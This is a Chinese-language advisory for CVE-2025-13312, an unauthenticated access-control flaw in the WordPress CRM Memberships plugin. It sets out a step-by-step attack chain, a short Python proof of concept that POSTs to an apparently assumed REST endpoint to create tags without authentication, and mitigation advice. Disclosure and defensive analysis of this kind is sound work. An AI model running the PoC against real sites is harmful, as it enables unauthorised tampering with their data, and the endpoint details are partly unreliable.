CVE-2025-13312 CVSS 5.3 中危

CVE-2025-13312 WordPress CRM Memberships插件未授权访问漏洞

披露日期: 2025-12-05

来源: [email protected]

漏洞信息

漏洞编号

CVE-2025-13312

漏洞类型

访问控制绕过/权限检查缺失

CVSS评分

5.3 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

CRM Memberships plugin for WordPress

漏洞概述

CRM Memberships是WordPress平台的一个客户关系管理插件，用于管理会员标签和CRM配置。该插件在2.5及以下所有版本中存在严重的访问控制漏洞，原因是'nztcrm_add_new_tag'函数缺少权限检查。攻击者无需任何认证即可调用该函数，创建任意会员标签并修改CRM系统配置。这违反了最小权限原则，使得本应仅限管理员操作的敏感功能暴露给未认证用户。攻击者可利用此漏洞污染会员数据、修改系统设置，进而可能导致更严重的后续攻击。由于该漏洞利用无需用户交互且攻击复杂度低，因此具有较高的实际威胁性。

技术细节

该漏洞属于OWASP Top 10 2021中的A01:2021-Broken Access Control类别。具体问题在于class-ntzcrm-api.php文件中的'nztcrm_add_new_tag'函数（第14行和第828行附近）缺少WordPress的current_user_can()权限验证检查。在正常的安全实现中，涉及创建会员标签和修改CRM配置的敏感操作应当验证用户是否具有manage_options权限。然而该函数直接处理请求参数中的标签数据，未进行任何权限校验。由于WordPress的REST API默认情况下可能允许未认证用户访问某些端点，攻击者可以直接构造HTTP POST请求调用该函数。请求中包含标签名称和配置参数，服务器端直接执行标签创建和配置更新操作，完全绕过了管理员权限验证机制。攻击者可通过反复调用该接口创建大量垃圾标签数据，影响系统正常使用。

攻击链分析

STEP 1

步骤1

攻击者识别目标WordPress网站并确认安装了CRM Memberships插件（版本≤2.5）

STEP 2

步骤2

攻击者发现插件的REST API端点，该端点对应'nztcrm_add_new_tag'函数，位于class-ntzcrm-api.php

STEP 3

步骤3

攻击者构造恶意HTTP POST请求，包含标签名称和CRM配置参数，无需任何认证信息

STEP 4

步骤4

服务器端函数直接处理请求，由于缺少current_user_can()权限检查，标签被成功创建

STEP 5

步骤5

攻击者可重复发送请求批量创建垃圾标签，或修改CRM配置导致系统异常

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests
import json

target_url = "http://target-wordpress-site.com/"
api_endpoint = f"{target_url}wp-json/crm-memberships/v1/tag"

payload = {
    "tag_name": "MaliciousTag",
    "tag_description": "Unauthorized tag created via CVE-2025-13312",
    "crm_config": {
        "setting": "modified_value"
    }
}

headers = {
    "Content-Type": "application/json",
    "User-Agent": "Mozilla/5.0"
}

response = requests.post(api_endpoint, json=payload, headers=headers)

print(f"Status Code: {response.status_code}")
print(f"Response: {response.text}")

if response.status_code == 200 or response.status_code == 201:
    print("[+] Exploit successful - Tag created without authentication")
else:
    print("[-] Exploit failed or target may be patched")

影响范围

CRM Memberships plugin for WordPress <= 2.5

防御指南

临时缓解措施

如果无法立即更新插件，可临时通过.htaccess或Nginx配置限制/wp-json/crm-memberships/端点的访问，仅允许来自特定IP的管理员访问。同时可考虑禁用该插件直到官方补丁发布。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表